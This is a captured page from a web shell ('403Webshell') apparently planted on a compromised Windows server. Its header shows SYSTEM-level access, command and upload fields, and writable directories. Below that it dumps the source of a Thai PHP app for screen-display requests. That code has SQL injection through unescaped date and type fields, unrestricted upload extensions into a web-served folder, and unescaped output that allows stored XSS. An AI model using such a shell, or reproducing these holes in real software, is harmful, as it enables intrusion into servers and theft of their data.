403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/pr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/pr/user_history.php
<?php
include 'functions.php';
check_login('user');
echo get_header("ประวัติและจัดการงาน");

$user_id = $_SESSION['user_id'];
$edit_mode = false;
$edit_data = null;

// ระบุว่ากำลังเปิดแท็บไหนอยู่ (ค่าเริ่มต้นคือ tv)
$active_tab = isset($_GET['tab']) ? $_GET['tab'] : 'tv';

// ==========================================
// ส่วนจัดการ Logic (TV)
// ==========================================
if(isset($_GET['del_tv'])) {
    $id = intval($_GET['del_tv']);
    $sql = "DELETE FROM requests WHERE req_id = $id AND user_id = $user_id AND status = 'pending'";
    if(mysqli_query($conn, $sql)) {
        mysqli_query($conn, "DELETE FROM request_images WHERE req_id = $id");
        echo "<script>alert('ลบรายการจอโทรทัศน์เรียบร้อย'); window.location='user_history.php?tab=tv';</script>";
    }
}

if(isset($_GET['del_img']) && isset($_GET['edit'])) {
    $img_id = intval($_GET['del_img']);
    $req_id = intval($_GET['edit']); 
    $check = mysqli_query($conn, "SELECT * FROM request_images ri JOIN requests r ON ri.req_id = r.req_id WHERE ri.img_id = $img_id AND r.user_id = $user_id");
    if(mysqli_num_rows($check) > 0) {
        mysqli_query($conn, "DELETE FROM request_images WHERE img_id = $img_id");
        echo "<script>window.location='user_history.php?edit=$req_id&tab=tv';</script>";
    }
}

if(isset($_POST['update_req'])) {
    $req_id = intval($_POST['req_id']);
    $title = mysqli_real_escape_string($conn, $_POST['title']);
    $details = mysqli_real_escape_string($conn, $_POST['details']);
    $start_date = $_POST['start_date'];
    $end_date = $_POST['end_date'];
    $type = $_POST['req_type'];

    $sql = "UPDATE requests SET title='$title', details='$details', start_date='$start_date', end_date='$end_date', req_type='$type' 
            WHERE req_id = $req_id AND user_id = $user_id AND status = 'pending'";
            
    if(mysqli_query($conn, $sql)) {
        if(isset($_FILES['imgs'])) {
            $total_files = count($_FILES['imgs']['name']);
            for($i=0; $i<$total_files; $i++) {
                if($_FILES['imgs']['name'][$i] != "") {
                    $ext = pathinfo($_FILES['imgs']['name'][$i], PATHINFO_EXTENSION);
                    $new_name = time() . "_updated_$i." . $ext;
                    if(move_uploaded_file($_FILES['imgs']['tmp_name'][$i], "uploads/" . $new_name)){
                        mysqli_query($conn, "INSERT INTO request_images (req_id, filename) VALUES ('$req_id', '$new_name')");
                    }
                }
            }
        }
        echo "<script>alert('แก้ไขข้อมูลเรียบร้อย'); window.location='user_history.php?tab=tv';</script>";
    }
}

if(isset($_GET['edit'])) {
    $id = intval($_GET['edit']);
    $sql = "SELECT * FROM requests WHERE req_id = $id AND user_id = $user_id";
    $res = mysqli_query($conn, $sql);
    if(mysqli_num_rows($res) > 0) {
        $edit_data = mysqli_fetch_assoc($res);
        if($edit_data['status'] == 'done') {
            echo "<script>alert('ไม่สามารถแก้ไขงานที่ดำเนินการเสร็จแล้วได้'); window.location='user_history.php?tab=tv';</script>";
        } else {
            $edit_mode = true;
        }
    }
}

// ==========================================
// ส่วนจัดการ Logic (Meeting Room)
// ==========================================
if(isset($_GET['del_mtg'])) {
    $id = intval($_GET['del_mtg']);
    $sql = "DELETE FROM meeting_requests WHERE mreq_id = $id AND user_id = $user_id AND status = 'pending'";
    if(mysqli_query($conn, $sql)) {
        mysqli_query($conn, "DELETE FROM meeting_files WHERE mreq_id = $id");
        echo "<script>alert('ลบรายการจอห้องประชุมเรียบร้อย'); window.location='user_history.php?tab=meeting';</script>";
    }
}

// ==========================================
// ส่วนแสดงผล (View)
// ==========================================
?>

<?php if($edit_mode) { 
    // ---- หน้าฟอร์มแก้ไข (Edit Mode เฉพาะ TV) ----
?>
    <div class="row justify-content-center">
        <div class="col-md-8">
            <div class="card shadow border-warning">
                <div class="card-header bg-warning text-dark">
                    <h5 class="mb-0"><i class="bi bi-pencil-square"></i> แก้ไขข้อมูลรายการ (จอโทรทัศน์)</h5>
                </div>
                <div class="card-body">
                    <form method="post" enctype="multipart/form-data">
                        <input type="hidden" name="req_id" value="<?php echo $edit_data['req_id']; ?>">
                        
                        <div class="mb-3 text-center">
                            <div class="btn-group w-100" role="group">
                                <input type="radio" class="btn-check" name="req_type" id="type1" value="ready" <?php echo ($edit_data['req_type']=='ready')?'checked':''; ?>>
                                <label class="btn btn-outline-success" for="type1">รูปประชาสัมพันธ์ที่ทำแล้ว</label>
                                <input type="radio" class="btn-check" name="req_type" id="type2" value="design" <?php echo ($edit_data['req_type']=='design')?'checked':''; ?>>
                                <label class="btn btn-outline-warning" for="type2">ต้องการให้จัดทำรูป</label>
                            </div>
                        </div>

                        <div class="mb-3"><label class="form-label">หัวข้อประชาสัมพันธ์</label><input type="text" name="title" class="form-control" value="<?php echo $edit_data['title']; ?>" required></div>
                        <div class="mb-3"><label class="form-label">รายละเอียดเพิ่มเติม</label><textarea name="details" class="form-control" rows="4"><?php echo $edit_data['details']; ?></textarea></div>

                        <div class="row">
                            <div class="col-md-6 mb-3"><label class="form-label">วันที่เริ่ม</label><input type="date" name="start_date" class="form-control" value="<?php echo $edit_data['start_date']; ?>" required></div>
                            <div class="col-md-6 mb-3"><label class="form-label">ถึงวันที่</label><input type="date" name="end_date" class="form-control" value="<?php echo $edit_data['end_date']; ?>" required></div>
                        </div>

                        <div class="mb-3">
                            <label class="d-block mb-2 fw-bold">รูปภาพปัจจุบัน (กดกากบาทสีแดงเพื่อลบ)</label>
                            <div class="d-flex flex-wrap gap-2 border p-2 rounded bg-light">
                                <?php 
                                $img_sql = "SELECT * FROM request_images WHERE req_id = ".$edit_data['req_id'];
                                $img_res = mysqli_query($conn, $img_sql);
                                if(mysqli_num_rows($img_res) > 0) {
                                    while($img = mysqli_fetch_assoc($img_res)){
                                        echo "<div class='position-relative'>
                                                <img src='uploads/{$img['filename']}' class='border rounded' style='width:100px; height:100px; object-fit:cover;'>
                                                <a href='?edit={$edit_data['req_id']}&del_img={$img['img_id']}&tab=tv' onclick='return confirm(\"ยืนยันลบรูปนี้?\")' class='position-absolute top-0 start-100 translate-middle badge rounded-pill bg-danger text-decoration-none shadow-sm'>X</a>
                                              </div>";
                                    }
                                } else { echo "<span class='text-muted small'>ไม่มีรูปภาพเดิม</span>"; }
                                ?>
                            </div>
                        </div>

                        <div class="mb-3"><label class="form-label">เพิ่มรูปภาพใหม่ (เลือกได้หลายรูป)</label><input type="file" name="imgs[]" class="form-control" multiple accept="image/*"></div>
                        <div class="d-grid gap-2">
                            <button type="submit" name="update_req" class="btn btn-warning"><i class="bi bi-save"></i> บันทึกการแก้ไข</button>
                            <a href="user_history.php?tab=tv" class="btn btn-secondary">ยกเลิก</a>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    </div>

<?php } else { 
    // ---- หน้าตารางรายการปกติ (List Mode) ----
?>
    <div class="d-flex justify-content-between align-items-center mb-3">
        <h3><i class="bi bi-clock-history"></i> ประวัติการร้องขอของฉัน</h3>
        <div class="dropdown">
            <button class="btn btn-success dropdown-toggle" type="button" data-bs-toggle="dropdown" aria-expanded="false">
                <i class="bi bi-plus-lg"></i> เพิ่มรายการใหม่
            </button>
            <ul class="dropdown-menu">
                <li><a class="dropdown-item" href="user_add.php"><i class="bi bi-tv text-primary"></i> ขึ้นจอโทรทัศน์</a></li>
                <li><a class="dropdown-item" href="user_meeting_add.php"><i class="bi bi-projector text-success"></i> ขึ้นจอห้องประชุม</a></li>
            </ul>
        </div>
    </div>

    <ul class="nav nav-tabs mb-4" id="historyTabs" role="tablist">
        <li class="nav-item" role="presentation">
            <button class="nav-link <?php echo ($active_tab=='tv')?'active fw-bold':''; ?>" id="tv-tab" data-bs-toggle="tab" data-bs-target="#tv" type="button" role="tab" onclick="history.replaceState(null, null, '?tab=tv');">
                <i class="bi bi-tv text-primary"></i> ประวัติจอโทรทัศน์
            </button>
        </li>
        <li class="nav-item" role="presentation">
            <button class="nav-link <?php echo ($active_tab=='meeting')?'active fw-bold':''; ?>" id="meeting-tab" data-bs-toggle="tab" data-bs-target="#meeting" type="button" role="tab" onclick="history.replaceState(null, null, '?tab=meeting');">
                <i class="bi bi-projector text-success"></i> ประวัติจอห้องประชุม
            </button>
        </li>
    </ul>

    <div class="tab-content" id="historyTabsContent">
        
        <div class="tab-pane fade <?php echo ($active_tab=='tv')?'show active':''; ?>" id="tv" role="tabpanel">
            <?php
            $page_tv = isset($_GET['page_tv']) ? intval($_GET['page_tv']) : 1;
            $limit = 10;
            $offset_tv = ($page_tv - 1) * $limit;
            $res_c_tv = mysqli_query($conn, "SELECT COUNT(*) as total FROM requests WHERE user_id = $user_id");
            $total_tv = mysqli_fetch_assoc($res_c_tv)['total'];
            $total_pages_tv = ceil($total_tv/$limit);
            $result_tv = mysqli_query($conn, "SELECT * FROM requests WHERE user_id = $user_id ORDER BY created_at DESC LIMIT $offset_tv, $limit");
            ?>
            <div class="card shadow-sm border-0 border-top border-primary border-3">
                <div class="card-body p-0">
                    <div class="table-responsive">
                        <table class="table table-hover align-middle mb-0">
                            <thead class="table-light">
                                <tr>
                                    <th class="ps-3" style="width:15%">วันที่แจ้ง</th>
                                    <th style="width:40%">หัวข้อ (คลิกดูรายละเอียด)</th>
                                    <th style="width:15%">ประเภท</th>
                                    <th style="width:15%">สถานะงาน</th>
                                    <th class="text-center" style="width:15%">จัดการ</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php if(mysqli_num_rows($result_tv) > 0) {
                                    while($row = mysqli_fetch_assoc($result_tv)) { 
                                        $is_pending = ($row['status'] == 'pending');
                                        $modal_id = "tvModal_" . $row['req_id'];
                                ?>
                                <tr>
                                    <td class="ps-3 text-secondary small"><?php echo thai_date($row['created_at']); ?></td>
                                    <td><a href="#" class="text-decoration-none fw-bold text-primary" data-bs-toggle="modal" data-bs-target="#<?php echo $modal_id; ?>"><?php echo $row['title']; ?></a></td>
                                    <td><?php echo ($row['req_type']=='ready') ? '<span class="badge bg-success bg-opacity-10 text-success border border-success">ทำรูปแล้ว</span>' : '<span class="badge bg-warning bg-opacity-10 text-warning border border-warning">ให้จัดทำ</span>'; ?></td>
                                    <td><?php echo ($row['status']=='done') ? '<span class="badge bg-primary">ดำเนินการแล้ว</span>' : '<span class="badge bg-secondary">รอดำเนินการ</span>'; ?></td>
                                    <td class="text-center">
                                        <?php if($is_pending) { ?>
                                            <div class="btn-group btn-group-sm">
                                                <a href="?edit=<?php echo $row['req_id']; ?>&tab=tv" class="btn btn-outline-warning" title="แก้ไข"><i class="bi bi-pencil"></i></a>
                                                <a href="?del_tv=<?php echo $row['req_id']; ?>" onclick="return confirm('ลบรายการนี้?')" class="btn btn-outline-danger" title="ลบ"><i class="bi bi-trash"></i></a>
                                            </div>
                                        <?php } else { echo '<span class="text-muted small"><i class="bi bi-lock-fill"></i> ล็อค</span>'; } ?>
                                    </td>
                                </tr>

                                <div class="modal fade" id="<?php echo $modal_id; ?>" tabindex="-1">
                                    <div class="modal-dialog modal-lg">
                                        <div class="modal-content">
                                            <div class="modal-header bg-primary text-white">
                                                <h5 class="modal-title"><i class="bi bi-tv"></i> รายละเอียด: <?php echo $row['title']; ?></h5>
                                                <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button>
                                            </div>
                                            <div class="modal-body">
                                                <div class="row mb-3">
                                                    <div class="col-md-6">
                                                        <p class="mb-1"><strong>วันที่แจ้ง:</strong> <?php echo thai_date($row['created_at']); ?></p>
                                                        <p class="mb-1"><strong>ช่วงเวลาประชาสัมพันธ์:</strong> <span class="text-primary"><?php echo thai_date($row['start_date']) . " - " . thai_date($row['end_date']); ?></span></p>
                                                    </div>
                                                    <div class="col-md-6">
                                                        <p class="mb-1"><strong>สถานะ:</strong> <?php echo ($row['status']=='done') ? '<span class="badge bg-primary">ดำเนินการแล้ว</span>' : '<span class="badge bg-secondary">รอดำเนินการ</span>'; ?></p>
                                                        <p class="mb-1"><strong>ประเภท:</strong> <?php echo ($row['req_type']=='ready')?'พร้อมใช้งาน':'ต้องการให้จัดทำ'; ?></p>
                                                    </div>
                                                </div>
                                                <div class="alert alert-light border"><strong>รายละเอียด:</strong> <?php echo nl2br($row['details']); ?></div>
                                                <div>
                                                    <strong>รูปภาพแนบ:</strong>
                                                    <div class="d-flex flex-wrap gap-2 mt-2">
                                                        <?php 
                                                        $res_m = mysqli_query($conn, "SELECT filename FROM request_images WHERE req_id = ".$row['req_id']);
                                                        if(mysqli_num_rows($res_m) > 0){
                                                            while($img_m = mysqli_fetch_assoc($res_m)){
                                                                echo "<a href='uploads/".$img_m['filename']."' target='_blank'><img src='uploads/".$img_m['filename']."' class='img-thumbnail shadow-sm' style='height:120px;'></a>";
                                                            }
                                                        } else { echo "<span class='text-muted small'>ไม่มีรูปภาพแนบ</span>"; }
                                                        ?>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <?php }} else { echo "<tr><td colspan='5' class='text-center py-5 text-muted'>ไม่มีประวัติจอโทรทัศน์</td></tr>"; } ?>
                            </tbody>
                        </table>
                    </div>
                </div>
            </div>
            
            <?php if($total_pages_tv > 1) { ?>
            <nav class="mt-4"><ul class="pagination justify-content-center">
                <?php for($i=1; $i<=$total_pages_tv; $i++){ ?>
                    <li class="page-item <?php echo ($i==$page_tv)?'active':''; ?>"><a class="page-link" href="?tab=tv&page_tv=<?php echo $i; ?>"><?php echo $i; ?></a></li>
                <?php } ?>
            </ul></nav>
            <?php } ?>
        </div>

        <div class="tab-pane fade <?php echo ($active_tab=='meeting')?'show active':''; ?>" id="meeting" role="tabpanel">
            <?php
            $page_mtg = isset($_GET['page_mtg']) ? intval($_GET['page_mtg']) : 1;
            $offset_mtg = ($page_mtg - 1) * $limit;
            $res_c_mtg = mysqli_query($conn, "SELECT COUNT(*) as total FROM meeting_requests WHERE user_id = $user_id");
            $total_mtg = mysqli_fetch_assoc($res_c_mtg)['total'];
            $total_pages_mtg = ceil($total_mtg/$limit);
            $result_mtg = mysqli_query($conn, "SELECT * FROM meeting_requests WHERE user_id = $user_id ORDER BY created_at DESC LIMIT $offset_mtg, $limit");
            ?>
            <div class="card shadow-sm border-0 border-top border-success border-3">
                <div class="card-body p-0">
                    <div class="table-responsive">
                        <table class="table table-hover align-middle mb-0">
                            <thead class="table-light">
                                <tr>
                                    <th class="ps-3" style="width:15%">วันที่แจ้ง</th>
                                    <th style="width:30%">หัวข้อการประชุม (คลิกดูรายละเอียด)</th>
                                    <th style="width:15%">ห้องประชุม</th>
                                    <th style="width:15%">วันที่แสดง</th>
                                    <th style="width:10%">สถานะ</th>
                                    <th class="text-center" style="width:15%">จัดการ</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php if(mysqli_num_rows($result_mtg) > 0) {
                                    while($row = mysqli_fetch_assoc($result_mtg)) { 
                                        $is_pending = ($row['status'] == 'pending');
                                        $modal_id = "mtgModal_" . $row['mreq_id'];
                                ?>
                                <tr>
                                    <td class="ps-3 text-secondary small"><?php echo thai_date($row['created_at']); ?></td>
                                    <td><a href="#" class="text-decoration-none fw-bold text-success" data-bs-toggle="modal" data-bs-target="#<?php echo $modal_id; ?>"><?php echo $row['topic']; ?></a></td>
                                    <td><span class="badge bg-light text-dark border border-secondary"><?php echo $row['room']; ?></span></td>
                                    <td class="small">
                                        <?php 
                                        if($row['date_type'] == 'single') echo thai_date($row['start_date']);
                                        else echo thai_date($row['start_date']) . "<br>ถึง " . thai_date($row['end_date']);
                                        ?>
                                    </td>
                                    <td><?php echo ($row['status']=='done') ? '<span class="badge bg-primary">ดำเนินการแล้ว</span>' : '<span class="badge bg-secondary">รอ</span>'; ?></td>
                                    <td class="text-center">
                                        <?php if($is_pending) { ?>
                                            <a href="?del_mtg=<?php echo $row['mreq_id']; ?>" onclick="return confirm('ยืนยันลบรายการจอห้องประชุมนี้?')" class="btn btn-sm btn-outline-danger" title="ลบ"><i class="bi bi-trash"></i> ลบ</a>
                                        <?php } else { echo '<span class="text-muted small"><i class="bi bi-lock-fill"></i> ล็อค</span>'; } ?>
                                    </td>
                                </tr>

                                <div class="modal fade" id="<?php echo $modal_id; ?>" tabindex="-1">
                                    <div class="modal-dialog modal-lg">
                                        <div class="modal-content">
                                            <div class="modal-header bg-success text-white">
                                                <h5 class="modal-title"><i class="bi bi-projector"></i> รายละเอียดห้องประชุม: <?php echo $row['topic']; ?></h5>
                                                <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button>
                                            </div>
                                            <div class="modal-body">
                                                <div class="row mb-3">
                                                    <div class="col-md-6">
                                                        <p class="mb-1"><strong>วันที่แจ้ง:</strong> <?php echo thai_date($row['created_at']); ?></p>
                                                        <p class="mb-1"><strong>ห้องประชุม:</strong> <span class="text-success fw-bold"><?php echo $row['room']; ?></span></p>
                                                    </div>
                                                    <div class="col-md-6">
                                                        <p class="mb-1"><strong>สถานะ:</strong> <?php echo ($row['status']=='done') ? '<span class="badge bg-primary">ดำเนินการแล้ว</span>' : '<span class="badge bg-secondary">รอดำเนินการ</span>'; ?></p>
                                                        <p class="mb-1"><strong>ช่วงเวลาแสดงผล:</strong> <br>
                                                            <?php echo ($row['date_type']=='single') ? thai_date($row['start_date']) : thai_date($row['start_date']) . " - " . thai_date($row['end_date']); ?>
                                                        </p>
                                                    </div>
                                                </div>
                                                <div>
                                                    <strong class="d-block mb-2 border-bottom pb-2"><i class="bi bi-paperclip"></i> ไฟล์ที่แนบ:</strong>
                                                    <div class="d-flex flex-wrap gap-2">
                                                        <?php 
                                                        $res_f = mysqli_query($conn, "SELECT * FROM meeting_files WHERE mreq_id = ".$row['mreq_id']);
                                                        if(mysqli_num_rows($res_f) > 0){
                                                            while($file = mysqli_fetch_assoc($res_f)){
                                                                $ext = strtolower(pathinfo($file['filename'], PATHINFO_EXTENSION));
                                                                // เช็คว่าเป็นรูปภาพหรือไม่ เพื่อเลือกการแสดงผล
                                                                $is_image = in_array($ext, ['jpg','jpeg','png','gif','webp']);
                                                                
                                                                if($is_image){
                                                                    echo "<a href='uploads/".$file['filename']."' target='_blank'>
                                                                            <img src='uploads/".$file['filename']."' class='img-thumbnail shadow-sm' style='height:100px; object-fit:cover;' title='".$file['original_name']."'>
                                                                          </a>";
                                                                } else {
                                                                    echo "<a href='uploads/".$file['filename']."' target='_blank' class='btn btn-outline-secondary p-2 d-flex flex-column align-items-center' style='width:100px; height:100px; justify-content:center;'>
                                                                            <i class='bi bi-file-earmark-text fs-2'></i>
                                                                            <span class='small text-truncate w-100 mt-1' title='".$file['original_name']."'>".$file['original_name']."</span>
                                                                          </a>";
                                                                }
                                                            }
                                                        } else { echo "<span class='text-muted small'>ไม่มีไฟล์แนบ</span>"; }
                                                        ?>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <?php }} else { echo "<tr><td colspan='6' class='text-center py-5 text-muted'>ไม่มีประวัติจอห้องประชุม</td></tr>"; } ?>
                            </tbody>
                        </table>
                    </div>
                </div>
            </div>
            
            <?php if($total_pages_mtg > 1) { ?>
            <nav class="mt-4"><ul class="pagination justify-content-center">
                <?php for($i=1; $i<=$total_pages_mtg; $i++){ ?>
                    <li class="page-item <?php echo ($i==$page_mtg)?'active':''; ?>"><a class="page-link" href="?tab=meeting&page_mtg=<?php echo $i; ?>"><?php echo $i; ?></a></li>
                <?php } ?>
            </ul></nav>
            <?php } ?>
        </div>

    </div> <?php } ?>

<?php echo get_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit